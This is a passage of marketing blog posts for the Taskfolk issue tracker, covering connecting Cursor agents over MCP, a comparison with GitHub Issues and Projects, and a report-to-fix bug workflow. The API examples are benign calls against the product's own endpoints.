the decision laid out. Every fact below is from the research, and prices and limits are stated as of July 2026. | | Task Master (in Cursor) | Shared board over MCP (Taskfolk) | |---|---|---| | Where state lives | Local `.taskmaster/` directory in the repo | Hosted workspace, server-side | | Team-visible | No, it is a file in a branch | Yes, humans open the board | | Multi-agent claim | No shared claim, each reads local files | `pending` session claimed on start | | MCP transport | Yes (MCP server + `.cursor/rules`) | Yes (`POST /api/mcp/v1`, Streamable HTTP) | | Attribution | File-based, no member identity | `is_agent` member, key authorship | | Cost model | Free, bring your own model keys | Free plan for humans, agents free, editor seats $3 Pro / $6 Business per month | | License | MIT + Commons Clause, open source | Hosted SaaS | | Best for | Solo dev, tasks in-repo, zero external dependency | Team plus humans reviewing agents | The call, made plainly: Task Master is the right tool if you are a solo developer who wants your tasks living in the repo with no external dependency and no account to manage. It is free, open source, and it does that job well. A shared board wins when a human or a second agent needs to *see and review* the work, not just when the agent needs a scratchpad. Different jobs. Pick by whether anyone other than the agent needs to watch. ## Connect Cursor to the board in one config file The wiring is a single file. Taskfolk's Skills tab generates a ready-to-paste block for `~/.cursor/mcp.json`: ```json { "mcpServers": { "taskfolk-product": { "url": "https://taskfolk.ai/api/mcp/v1", "headers": { "Authorization": "Bearer " } } } } ``` Cursor is a first-class option in that Skills tab, sitting alongside Claude Code, Claude Desktop, VS Code, Codex, opencode, a generic MCP config, and raw OpenAPI, so you copy the Cursor variant rather than translating a generic example. Cursor is also a first-class agent kind in the Bots page, with its own logo, so a connected Cursor agent is recognized as Cursor rather than a generic bot. ![How to install Taskfolk as an agent skill, Skills tab](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) Two practical notes. You sign in to Taskfolk with magic-link auth (no passwords), and the API key comes from the developer area, scoped to what you want the agent to touch. And to be exact about what this connection is: it is a shared board the agent reads and writes over MCP. Taskfolk does not run your Cursor agent. The agent runs in Cursor as it always has. Taskfolk is the destination on the other end of the MCP connection, not a host for the model. ## What the agent actually does: read issues, claim work, report sessions Here is the runtime loop. The agent lists its assigned or open issues, claims a delegated session, does the work in Cursor, then closes the session in a terminal state with a link to what it produced. Delegation is the nice part. When you assign an issue to the agent, Taskfolk auto-creates a `pending` session for it. The agent never enters `pending` itself, it only leaves it: calling `startAgentSession` claims that pending row and flips it to `running` instead of creating a duplicate. So "assign the ticket to the agent" and "the agent picks it up" are two halves of the same session, not two competing records. A worker sweep auto-cancels pending sessions the agent never claims, so an ignored delegation does not sit on the hub forever. First, list the issues the agent should look at (here, everything currently in the in-progress status for the `WEB` project, assigned to the calling agent): ```bash curl "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?status=in_progress&assignee=me" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?status=in_progress&assignee=me", { headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` } }, ); const issues = await res.json(); ``` ```python import os, requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", params={"status": "in_progress", "assignee": "me"}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) issues = res.json() ``` The response is a plain list of issue resources: ```json { "data": [ { "id": "018f...c2", "key": "WEB-142", "url": "https://taskfolk.ai/w/acme/p/web/WEB-142", "type": "task", "title": "Refactor auth token refresh", "status": "in_progress", "status_name": "In progress", "priority": "high", "assignees": ["018f...ab"] } ] } ``` Then the agent claims its delegated session and starts working. Starting a session against the issue claims the `pending` row created on assignment: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"title":"Refactor auth token refresh","issue_key":"WEB-142"}' ``` ```javascript const start = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Refactor auth token refresh", issue_key: "WEB-142" }), }, ); const session = await start.json(); ``` ```python start = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"title": "Refactor auth token refresh", "issue_key": "WEB-142"}, ) session = start.json() ``` The session comes back in `running`, carrying the agent's identity and the issue it is anchored to: ```json { "data": { "id": "018f...9d", "agent_id": "018f...ab", "agent_name": "Cursor agent", "agent_kind": "cursor", "state": "running", "title": "Refactor auth token refresh", "note": null, "external_url": null, "issue_id": "018f...c2", "issue_key": "WEB-142", "started_at": "2026-07-16T09:12:04.000Z", "last_activity_at": "2026-07-16T09:12:04.000Z", "ended_at": null } } ``` When the work is done, the agent PATCHes the session to a terminal state and drops the PR link in `external_url`. Setting `state` to a terminal value like `review`, `done`, or `failed` stamps `ended_at`, and entering `needs_input`, `review`, `done`, or `failed` notifies the humans in-app (the agent's owner plus the issue's reporter, assignee, and watchers): ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/018f...9d" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"state":"review","external_url":"https://github.com/acme/web/pull/318"}' ``` ```javascript await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/018f...9d", { method: "PATCH", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ state: "review", external_url: "https://github.com/acme/web/pull/318", }), }, ); ``` ```python requests.patch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/018f...9d", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"state": "review", "external_url": "https://github.com/acme/web/pull/318"}, ) ``` The session lifecycle, end to end: ```mermaid flowchart LR A[assigned: pending] --> B[running] B --> C[needs_input] C --> B B --> D[review] B --> E[done] B --> F[failed] D --> E ``` Humans watch all of this from the sessions list, where each row shows the agent, the issue, the state, and whether it went quiet. ![How to delegate work to an agent, sessions list](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) One thing to be precise about so you do not plan around a feature that is not there: the real-time push goes into the *app's* SSE stream, for the humans watching the board. It does not push back into Cursor over MCP. Taskfolk's MCP server advertises `listChanged: false` and has no server-initiated notifications in v1, so the `GET /api/mcp/v1` SSE channel is a keep-alive, not a live feed into the editor. The agent learns about new work by asking (listing its issues), the same way any polling client would. Humans get the live updates; the agent pulls. ## When to stay file-based (and when not to) I am not going to tell you to switch if you should not. Stay with Task Master or a `.cursor/rules` setup if you are solo, in a single repo, want zero external dependency, and nobody else needs to watch the agent. It is free, it is open source (MIT with Commons Clause), you bring your own model keys, and it keeps everything next to the code. For that shape of work it is genuinely the better fit, and adding a hosted board would just be overhead you do not need. Move to a shared board when the situation changes in one of a few concrete ways: a PM or teammates need live visibility into what the agent is doing, you run more than one agent and need them to claim work without colliding, you want attribution and human review of agent output, or you simply want the agent writing to the same board the humans already use so there is one source of truth. And be clear-eyed about cost, because "free plan" does not mean "free team." As of July 2026, Taskfolk's Free plan is $0 and humans on it are fine, and connected agents and viewers are always free. But editor seats cost money: Pro is $3 per editor seat per month ($30/year), Business is $6 per editor seat per month ($60/year). The Free plan is feature-complete on capability, not crippled (sprints, timeline, integrations, reporting, and AI are on every plan; Free caps sit at 128 MB storage, 5 active projects, 1 MB per-file upload, 2 automation rules, 1,000 import rows, and 25 AI credits a month), but a growing team of human editors is a paid team. If your only "members" are agents and a couple of viewers, it stays free. If ten engineers all edit, it does not. Plan around that honestly. If a shared board is where you are headed, the natural next steps are [connecting the agent](/docs/how-to-connect-an-ai-agent), [choosing MCP vs the REST API](/blog/mcp-or-rest-api-for-your-agent), [delegating work to it](/docs/how-to-delegate-work-to-an-agent), and [installing it as an agent skill](/docs/how-to-install-taskfolk-as-an-agent-skill). If you came here from the Claude side, the [Claude Code task management](/blog/claude-code-task-management) walkthrough is the sibling to this one. ![Each connected agent appears as its own attributed member, something a file-based task list cannot show](/images/blog/manage-a-team-of-ai-agents-attribution.webp) --- # A GitHub Issues alternative for when projects outgrow a repo URL: https://taskfolk.ai/blog/github-issues-alternative-when-projects-grow Published: 2026-07-16 Updated: 2026-07-25 Author: The Taskfolk team Tags: alternatives, GitHub, issue tracking, sprints, backlog, reports, AI agents, comparison, integrations, agile GitHub Issues alternative for teams that outgrew Issues but keep GitHub for code: real statuses, ranked backlog, burndown, commit linking, and free AI-agent seats. Your team ships from GitHub. Pull requests, review, milestones, the whole loop lives next to the code, and for a long time that is enough. Then one week you are staring at a board with fourteen labels, three of which are `status:` labels that only half the team applies, you cannot tell which of the eleven open bugs is actually next, and the person running standup has opened four browser tabs to reconstruct what "in progress" means. That is the moment people start searching for a **GitHub Issues alternative**, and it is worth being precise about what you are actually looking for, because most of what gets recommended is a code host you do not need or a heavyweight tracker you will resent. This post is for a team that already loves GitHub for code and has no intention of leaving it. You are not trying to replace GitHub. You outgrew Issues as the place you plan and report, and you want a tracker that sits next to the repo without throwing away the commit history you rely on. The honest answer, which the rest of this post argues, is a dedicated tracker beside your repo rather than a GitHub replacement. Taskfolk does not host code and is not trying to. All prices and product facts below are stated as of July 2026. ![Connecting a GitHub repository to a Taskfolk project from the integrations tab](/images/blog/how-to-connect-github-integrations-tab.webp) ## The point where GitHub Issues stops being enough GitHub Issues is genuinely excellent at what it was built for. Issues sit next to the code, they link to pull requests, review happens in the same place, milestones group work, and on the Free plan you get unlimited public and private repos with unlimited issues, labels, and milestones (as of July 2026). For a solo project or a small repo, nothing beats the friction of zero context switching. The trouble starts when Issues has to behave like a project tracker instead of a code-adjacent list. Three specific pains show up, in roughly this order. First, your workflow lives in labels. You add a `blocked` label, an `in review` label, maybe `needs design`. But a label is not a status. It does not gate anything. Nothing stops an issue from carrying `done` and `blocked` at the same time, nothing forces a card to pass through review before it closes, and none of it feeds a report, because to GitHub a label is a tag, not a state the work is in. Second, there is no ranked backlog. Priority becomes a thing you eyeball. You drag issues around a milestone, you star the important ones, you keep a mental model of what is next, and that model lives in one person's head. Ask five people what the top of the backlog is and you get five answers. Third, planning and reporting stay thin even after you bolt on Projects. You can build a board, but the questions a planning meeting actually asks (are we on track to finish the sprint, how fast is this team, where does work pile up) do not have first-class answers. None of this means GitHub Issues is bad. It means you have asked it to be a tracker, and a tracker is a different tool. The fix is not to abandon GitHub. It is to put a real tracker next to it. ## What GitHub Projects fixed, and what it left thin Before going further it is worth being fair, because a comparison you cannot trust is worthless. GitHub Projects is a real step up from raw Issues, and if you have not looked at it recently you should. As of July 2026, per the GitHub docs, Projects is an adaptable table, board, and roadmap that integrates with your issues and pull requests. You get three view types: a spreadsheet-style table, a kanban board, and a timeline-style roadmap. It has an iteration field that lets you plan work week by week, including breaks, which is a legitimate lightweight sprint mechanism. You can add up to 50 custom fields per project across date, number, single-select, text, and iteration types. And Insights gives you current and historical charts. GitHub also raised the ceiling on project size. The maximum items per Project went from 1,200 to 50,000, announced as a public preview on 2025-02-26 and rolling out incrementally; projects in the rollout show an "Increased items preview" indicator. So the old "Projects falls over on a big backlog" complaint is being addressed. Do not let anyone tell you GitHub has no planning. It does. Here is the honest "but." The gap is depth, not absence. Insights ships a "Burn up" chart by default, and the documentation does not mention a burndown chart. If your planning meetings run on burndown, that is a real difference. Status in Projects is still effectively a single-select field or a label. There is no category backbone underneath it, so there is nothing that enforces which transitions are legal, nothing that caps work-in-progress per column, and nothing that ties a column to an is-open or resolved meaning that the rest of your reporting can rely on. The ranked backlog, and the deeper reporting a team leans on (velocity, cycle time, cumulative flow), are not there. And cross-repo or monorepo work stays awkward, because a Project is oriented around items that mostly belong to one repo. So the frame for the rest of this post is not "GitHub cannot plan." It is: GitHub Projects gives you planning that is broad and shallow, and a growing team eventually wants it deeper. ## What to look for in a GitHub Issues alternative Here is a buyer's checklist, written as criteria rather than a pitch. If you are evaluating anything (Taskfolk or not) score it against these. 1. **Keep the commit-to-issue trace you already rely on.** A linked commit should be one click from the ticket. If moving your planning off Issues means losing the connection between a bug and the commit that fixed it, that is too high a price. The tool should ingest your commit references, not ask you to abandon them. 2. **Real statuses, not labels.** You want a status model that actually drives is-open and resolved semantics and feeds reporting. Ideally that means a fixed category backbone plus custom named columns on top, transition rules that say which moves are legal, and per-column work-in-progress limits. 3. **A ranked backlog, a board, and sprints.** A backlog you order deliberately (so priority is an explicit sequence, not a vibe), a kanban board for flow, and a sprint mechanism for time-boxing. 4. **Reports that answer real questions.** Burndown and burnup. Velocity. Cycle time. Throughput. Cumulative flow. Not one default chart, but the set a planning meeting reaches for. 5. **Handles monorepos and cross-repo work.** One repo should be able to feed more than one project, and work that spans repos should not fight the tool. 6. **Fair pricing and agent support.** Viewers and stakeholders should not cost a full seat. And increasingly, your AI coding agents should be able to join as members without each one billing like a human. That is the rubric. The rest of this post scores Taskfolk against it and is honest about where it falls short. ## Keeping commit-to-issue linking when you move planning off Issues The first fear anyone has when they move planning off GitHub is: if I plan somewhere else, do I lose my commit history? The answer is no, and it is worth explaining exactly how, because vague reassurance is not enough. Taskfolk has a first-party GitHub integration. You connect a repo, GitHub sends a push webhook, and Taskfolk verifies it. The signature check is an HMAC SHA-256 verification (`verifyGithubSignature` in `src/lib/integrations/github.ts`), so forged payloads do not get in. On each push, Taskfolk parses your commit messages and pulls out `#KEY-NUM` references using the regex `[A-Z][A-Z0-9]{1,5}-\d+` (`extractIssueRefs`). For every reference it finds, it records a `commit_refs` row against the matched issue: the repo, the commit SHA, the message, the URL, the author, and the commit timestamp. That row is unique on `(issueId, repo, sha)` so the same commit never doubles up, and because it stores the commit URL, each linked commit is one click away from the issue. That is the same commit-to-work trace GitHub gives you, kept in the tracker instead. `#KEY-NUM` is Taskfolk's native cross-reference syntax, and it works in commits and in comments. Write `#WEB-42` in a commit message and it links. Write it in a comment and it renders as a styled chip and records an `issue_links` row of kind `relates_to`. One honest caveat here: `#KEY-NUM` auto-linking in comments currently resolves against the current project's slug. Cross-project reference rendering is deferred, so do not expect a comment in one project to seamlessly chip-link an issue in another yet. Two more things this integration does, both useful for exactly the team this post is about. First, one repo can connect to multiple Taskfolk projects in the same workspace. The `repo_integrations` unique key includes the project id, so a single monorepo can feed several projects at once, which is the awkward cross-repo case GitHub Projects handles poorly. Second, a git tag push can advance a Taskfolk release. Push `refs/tags/v1.4.0`, Taskfolk matches it to a release version (`resolveAutoShipTag` / `tagMatchesRelease`), and the release moves forward. Shipping a tag ships the release. Now the critical honesty, because this is where a lot of "GitHub alternative" pitches lie. This is one-directional ingestion. Taskfolk reads commits that carry `#KEY-NUM` and reads tag pushes. It does not sync your issues back to GitHub, it does not mirror pull requests, and it is GitHub-only today (no GitLab, no Bitbucket). GitHub keeps living for code, PRs, and review. Taskfolk is the planning and reporting layer beside it. If you were hoping for a full two-way sync of issues and PRs, this is not that, and you should know it before you commit. If you want the step-by-step on connecting a repo, see [how to connect GitHub](/docs/how-to-connect-github). ## Statuses that mean something, not labels-as-workflow This is the single biggest upgrade over Issues, so it gets its own section. Taskfolk uses a two-level status model. Underneath, seven fixed status categories carry the semantics: `backlog`, `todo`, `in_progress`, `in_review`, `done`, `failed`, `cancelled`. That is the `issues.status` enum, and it is what drives is-open, the resolved timestamp, every report, and the public API's `status` field. On top of those categories sits a table of per-project board columns: unlimited named, colored, ordered columns, each one mapping to exactly one category. This is the same split Jira draws between a status and its status category, and it is the difference between a workflow and a label you hope everyone respects. ![Managing custom board statuses and their categories in a project's board settings](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) In practice, every project starts with seven default columns. You add a column with the trailing `+`, and from the column kebab you rename it, recolour it, recategorise it, reorder it, or delete it. You can also reorder columns by dragging the column header directly. Because each column is pinned to a category, a card sitting in your custom "Code review" column is understood by the whole system as `in_review`, so it counts as open, it shows up correctly in cycle-time, and it behaves consistently in reports. A label can never do that. On top of the columns, Taskfolk supports workflow transition rules (an `allowed_transitions` model that says which moves are legal) and per-column work-in-progress limits. So you can enforce that nothing jumps from `todo` straight to `done`, and you can cap how many cards live in "In progress" at once. Contrast that with GitHub. A single-select field or a label has no category backbone, no transition gating, and no WIP cap. It is a tag, and tags do not have opinions about how work flows. For a deeper walkthrough, see [custom workflow statuses](/docs/custom-workflow-statuses). ## Sprints, a ranked backlog, and the reports GitHub does not draw Planning and reporting are the core of "we outgrew Issues," so I will take them together. On the planning side, Taskfolk gives you a ranked backlog, a board, and sprints. The backlog is ordered with LexoRank, a base-62 lexicographic ranking (`rankBetween`), which means priority is a deliberate sequence you set, not a guess you re-derive every Monday. The board is a kanban with optimistic drag (built on `@dnd-kit`) that persists the card's `status_id` and its rank as you move it. Sprints run as real time-boxes. Issue types cover the flat agile vocabulary (epic, story, task, bug, subtask), with parent/child subtasks and a subtasks progress card so a story shows how far its children have gotten. ![Running a sprint in Taskfolk with the sprint board and committed work](/images/blog/how-to-run-a-sprint-sprints-page.webp) Then the reporting, which is the sharpest contrast in this whole comparison. Taskfolk ships a full reports suite (`src/lib/analytics/reports.ts` plus the project Reports page): velocity, burndown, burnup, cumulative flow, cycle time, throughput, status breakdown, type breakdown, and workload, all over selectable 7-day, 30-day, and 90-day windows. The project Summary page adds a sprint burndown and a status donut on top. ![The Taskfolk reports grid showing velocity, burndown, cycle time and other charts](/images/blog/project-reports-and-insights-reports-grid.webp) Put that next to GitHub Projects Insights, which as of July 2026 ships a burn up by default and, per its docs, no burndown. If your team runs sprint planning on a burndown, or asks "what is our velocity" before committing to a sprint, you get those natively in Taskfolk and you have to build around their absence in GitHub. That is not a knock on GitHub's engineering. It is a scope difference: Insights is a light reporting layer, and a dedicated tracker's reporting is deeper. For the full tour see [how to run a sprint](/docs/how-to-run-a-sprint) and [project reports and insights](/docs/project-reports-and-insights). If ordering the backlog is your immediate pain, [how to prioritize your backlog](/docs/how-to-prioritize-your-backlog) covers the ranked-list workflow specifically. ## The honest comparison, including price Here is the side-by-side. Everything below is drawn from the verified facts, and all prices are as of July 2026. | | GitHub Issues + Projects | Taskfolk | |---|---|---| | Workflow model | Labels / single-select fields | Category-backed statuses + transition rules + WIP limits | | Backlog | Drag within a milestone, eyeball priority | Ranked backlog (LexoRank ordering) | | Sprints | Iteration field (week-by-week) | Sprints + board + ranked backlog | | Reports | Burn up by default, no burndown | Velocity, burndown, burnup, cumulative flow, cycle time, throughput | | Custom fields | Up to 50 per project | Custom fields, 10 field kinds | | Max items | 50,000 (in preview rollout) | No stated cap | | Cross-repo / monorepo | Awkward | One repo can feed many projects | | AI agents as members | Not applicable | Free, non-seat members | | Hosts code | Yes | No (sits beside your repo) | | Price | Free $0, Team $4/user/mo, Enterprise $21/user/mo | Free $0, Pro $3/editor seat/mo, Business $6/editor seat/mo (viewers free) | Now the prices in prose, because the shape matters more than the sticker. GitHub's plans, as of July 2026, are Free at $0/user/month, Team at $4/user/month (about $48/user/year), and Enterprise at $21/user/month (about $252/user/year). One thing worth calling out: all three tiers include the same core Issues and Projects capabilities, with no feature distinction between tiers on the pricing table. You are paying the higher tiers for security, access controls, and enterprise administration, not for a better tracker. And GitHub Free is generous on the code side: unlimited public and private repos with unlimited issues, labels, and milestones, though it does not include team-level access controls or protected branches on private repos. Taskfolk's shape is different. Free is $0, Pro is $3 per editor seat per month (about $30/year), and Business is $6 per editor seat per month (about $60/year), with viewers free. The important part is what sits on Free: sprints, timeline, integrations, reporting, and AI are on every plan including Free. What is reserved to paid plans is automation, roles, SSO, and audit. The Free caps are 128 MB storage, 5 active projects, 2 automations, 1 MB per-file upload, and 25 AI credits a month. Pro lifts that to 1 GB, unlimited projects, 20 automations, and 5,000 AI credits. Business goes to 100 GB, unlimited projects and automations, and 20,000 AI credits. The practical read: with GitHub you pay per user and every collaborator is a user; with Taskfolk your read-only stakeholders cost nothing and your paid seats are cheaper per editor. If the per-seat argument is what you are wrestling with, [Jira alternatives and price per seat](/blog/jira-alternatives-price-per-seat) makes the case in full. ## When you should just stay on GitHub Issues A comparison you can trust has to tell you when not to switch. Here is when I would stay on Issues and Projects and not add another tool. Stay if your work maps cleanly to one repo and milestones are enough to group it. Stay if you do not run sprints and do not need burndown or velocity in planning meetings, because then GitHub's iteration field and burn up cover you. Stay if you want everything (code, PRs, and the tracker) under one login and one bill, and the mental tax of a second tool is not worth it. Stay if a label-based workflow genuinely works at your team's size, which for a small, high-trust team it often does. And stay if you are heavily invested in GitHub Actions automation wired to issue events, because that automation lives where the issues live. And to keep this fair in both directions, here are the limits of moving to Taskfolk, restated plainly. It does not host code, so GitHub stays for code, PRs, and review. The integration is one-directional commit and tag ingestion, so issues do not sync back to GitHub and pull requests are not mirrored. Provider support is GitHub-only today. The `#KEY-NUM` auto-link in comments resolves against the current project's slug, so cross-project reference rendering is not there yet. If any of that lands on a dealbreaker for you, the right move is to stay put. That is a better outcome than switching and regretting it. ## What changes when your coding agents join the tracker There is one thing Taskfolk does that GitHub Issues has no equivalent for, and it is worth ending on because it is where the tooling is heading. Your AI coding agents can be real members of the workspace, and they are not billed as seats. An agent member is flagged (`workspace_members.isAgent = 1`) and filtered out of the billed-seat count in `src/lib/billing/seats.ts`, so a connected coding agent costs $0. Under the hood an agent is a user and a member with its own `workspace_agents` profile and its own API key, which is how its actions get attributed. Agents drive the tracker through the same surface humans do. Taskfolk has a first-party MCP server plus a v1 REST API of over 180 operations covering the full product, and the MCP tools derive from the same OpenAPI registry as the REST routes, so an agent talking over MCP and a script hitting REST are calling the same operations. Writes go through a single choke point (`updateIssueViaApi`), and per-agent field-write permissions (`field_policy_json`) are enforced there for REST, MCP, and transitions alike, so you can let an agent move status but not reassign, or edit description but not touch priority. Agent sessions carry human-review states (pending, review, done), and Taskfolk derives an "unverified" badge at read time for a session that closed without leaving attributed activity, so you can see when an agent claimed to finish work it did not visibly do. ![The agent roster in a Taskfolk workspace showing connected AI agents and their status](/images/blog/manage-a-team-of-ai-agents-roster.webp) Here is the actual call an agent (or your own script) makes to open an issue, on the real endpoint. Body fields are `type`, `title`, `description_md`, `priority`, `assignee`, and `labels`. ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "type": "bug", "title": "Login retry loop on expired magic link", "description_md": "Repro: open a stale sign-in link twice.\n\nFixed in #WEB-40.", "priority": "high", "assignee": "agent@acme.dev", "labels": ["auth", "regression"] }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: "Bearer " + process.env.TASKFOLK_API_KEY, "Content-Type": "application/json", }, body: JSON.stringify({ type: "bug", title: "Login retry loop on expired magic link", description_md: "Repro: open a stale sign-in link twice.\n\nFixed in #WEB-40.", priority: "high", assignee: "agent@acme.dev", labels: ["auth", "regression"], }), }, ); const issue = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "type": "bug", "title": "Login retry loop on expired magic link", "description_md": "Repro: open a stale sign-in link twice.\n\nFixed in #WEB-40.", "priority": "high", "assignee": "agent@acme.dev", "labels": ["auth", "regression"], }, ) issue = res.json() ``` The response comes back as the created issue, with its stable key and the assignee resolved to a user id: ```json { "id": "0192f4c1-6a3b-7c2e-9f10-2b8d4e6a1c33", "key": "WEB-42", "url": "https://taskfolk.ai/w/acme/p/web/WEB-42", "number": 42, "type": "bug", "title": "Login retry loop on expired magic link", "status": "todo", "priority": "high", "assignee_id": "1c9d2f7a-4b6e-7a10-8c33-9e2b4d6a1f55" } ``` Now tie it back to the theme of this whole post. That agent commits its fix with `#WEB-42` in the message, GitHub sends the push, and Taskfolk records a `commit_ref` against `WEB-42`. So the agent's code trace and its tracker activity line up on the same ticket, the same way a human's would. The commit-to-issue link you refused to give up is exactly the thread that stitches an agent's work to the board. If you already love GitHub for code and just need planning and reporting that grew with your team, [start a free Taskfolk workspace](https://taskfolk.ai) and connect your first repo. It stays next to the code you are not leaving. --- # A bug tracking workflow that runs from report to fix URL: https://taskfolk.ai/blog/bug-tracking-workflow-from-report-to-fix Published: 2026-07-16 Updated: 2026-07-25 Author: The Taskfolk team Tags: issue tracking, workflow, AI triage, GitHub, how-to, integrations Bug tracking workflow that runs report to fix in one tool: public intake form, AI triage, a board review gate, GitHub commit links, and auto-shipped releases. Open the average bug tracker and you find three tabs, not one. A Google Form or Typeform collects reports from customers and QA. A spreadsheet holds the triage columns nobody keeps current. A chat thread is where "did anyone look at BUG-14 yet" actually happens. Each handoff loses context, and the fix, when it lands, has no thread back to the report that started it. This guide lays out a single bug tracking workflow that runs report to fix in one tool. A public request form feeds AI triage, triage sets priority and labels, the board carries an In Review gate that a ticket cannot skip, a GitHub commit links itself to the issue on push, and the release ships (with drafted notes) when you tag it. Every stage below is a real Taskfolk feature, and the honest limits are called out where they matter. ## Why the form-plus-spreadsheet-plus-chat setup keeps breaking The problem with the usual bug tracking process is not any one of its tools. Each is fine on its own. The problem is the seams between them. Your intake form lives in a separate product from your tracker, so a report arrives as an email or a row in a Sheet, and someone copies it by hand into an issue. That copy is where the first details go missing: the browser version, the screenshot, the exact steps. Then triage happens in a spreadsheet that drifts out of date within a week, because keeping a second system current is nobody's actual job. Priority ends up set by whoever shouts loudest in the chat thread, not by any consistent rule. And when the fix finally ships, the commit that closed the bug has no link back to the report, so three months later, when it regresses, you cannot find the original context at all. Every boundary costs you something. Duplicate reports pile up because submitters cannot see what already exists. Triage goes stale. The audit trail from "customer said X" to "we shipped Y" is broken in four places. You are not tracking bugs so much as re-entering them. The fix is not a better spreadsheet. It is removing the boundaries. One workspace where the report becomes the issue, the issue carries its own triage, the board enforces review, the commit attaches itself, and the release closes the loop. No export step, no second tool, no copy-paste. ## The five stages of a bug tracking workflow, end to end Before the detail, here is the whole pipeline at a glance. Five stages, one workspace, and no handoff between separate products at any point. ```mermaid flowchart LR A[Report
public form] --> B[Triage
AI suggests priority, type, labels] B --> C[Board
In Review gate] C --> D[Code
GitHub commit auto-links] D --> E[Release
auto-ships on tag + AI notes] ``` Each stage has one job: 1. **Report.** A branded public form at a shareable URL turns an external submission (customer, QA, teammate) into a real issue, screenshots and all. 2. **Triage.** AI reads the new issue and suggests a priority, a type, and labels. A person applies them, or you opt into applying them automatically. 3. **Board.** The issue moves across custom columns, and an In Review gate sits between "in progress" and "done" that a ticket cannot jump over. 4. **Code.** The commit that fixes the bug references the issue key in its message, and the push links itself onto the issue timeline. 5. **Release.** Tagging a version flips the matching release to shipped and drafts the release notes from the issues it contains. The point is that all five live in the same place. The report, the triage, the board, the commit link, and the release are rows in one workspace, so context never crosses a boundary and nothing needs re-entering. ## Stage 1: a public bug intake form that creates issues The pipeline starts with a bug intake form that outsiders can actually reach. Taskfolk forms publish to a branded public URL at `/f/`, and a submission there creates an issue directly. No login required for the submitter, which is exactly what you want for a customer bug report. ![The Taskfolk form builder Build tab, showing field types being assembled into a public intake form](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) The builder gives you 14 field kinds to shape the report: short text, long text, select, multi-select, number, date, email, radio, phone, URL, rating, section, file, and checkbox. The file field matters most for bugs, because it lets an anonymous reporter attach a screenshot or a log without an account. Every field runs its own validation, so a required repro-steps box stays required and an email field has to look like an email. The part that makes this a workflow rather than a dumb inbox is routing. A form carries routing defaults that pre-set the assignee, labels, sprint, and board status on every issue it creates. So a "Report a bug" form can drop each submission straight into the Backlog column, tag it `bug`, and hand it to your triage rotation, with no manual touch. All four of those defaults are re-validated against the project when the issue is made, so a stale or cross-tenant value never gets applied. And only a form that is both published and public-enabled is reachable at its token, which is the single gate on public access. Two honest limits to weigh here. On the Free plan, uploaded files are capped at 1 MB each and the whole workspace is capped at 128 MB of storage, so a form that collects large video recordings will fill up fast and needs a paid plan. The form builder itself, though, is available on every plan including Free. For the full walkthrough of building and publishing one, see [how to set up a request form](/docs/how-to-set-up-a-request-form). ## Stage 2: AI triage sets priority, type and labels A raw report is not a triaged bug. Someone still has to decide how bad it is, what kind of work it represents, and which area it touches. That is the slow part of any bug triage workflow, and it is where AI earns its place, as an assistant, not an autopilot. Taskfolk's triage reads an issue's title and description and returns a suggested priority, type, labels, and a short reason for its call. Two things keep it honest. Priority is validated against the real six-value enum, and labels are validated against the project's own label palette, so anything the model invents (a priority that does not exist, a label you never created) is dropped before it reaches you. It also classifies only leaf types, meaning story, task, or bug, and never reclassifies something into an epic or a subtask. ![The bulk triage modal in Taskfolk, showing AI-suggested priority, type, and labels across several selected issues](/images/blog/how-to-bulk-edit-issues-triage-modal.webp) By default this is human-in-the-loop. The AI suggests, and a person clicks to apply. When you have a stack to get through, batch triage runs the same suggestion across up to 15 selected issues in one pass, and you apply the rows you agree with. Triage runs on a cheap, small model and is deliberately not metered against your AI credits, so leaning on it does not burn your monthly grant. If you want it truly hands-off, that exists too, as an opt-in per-project toggle. Turn on autonomous triage and each newly created issue gets triaged in the background, with labels, priority, and type applied for you (up to five labels a pass). It is storm-guarded: only interactively created issues trigger it (imports, forms, and API writes do not), and there is a per-project rate cap plus the workspace credit gate. Note that this is off unless you switch it on. The default is suggest, not apply. The limits are worth stating plainly. You must create your labels first, because triage only picks from what already exists. Batch tops out at 15 issues, so this is not a one-click "triage my entire backlog of 400" button. And because form intake fires your `issue.created` automations, you can make routing fully hands-off through automation rules even without turning on autonomous AI. More on both paths in [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes) and [turn a request form into a triaged issue](/blog/turn-a-request-form-into-a-triaged-issue). ## Stage 3: a board with a review gate a ticket 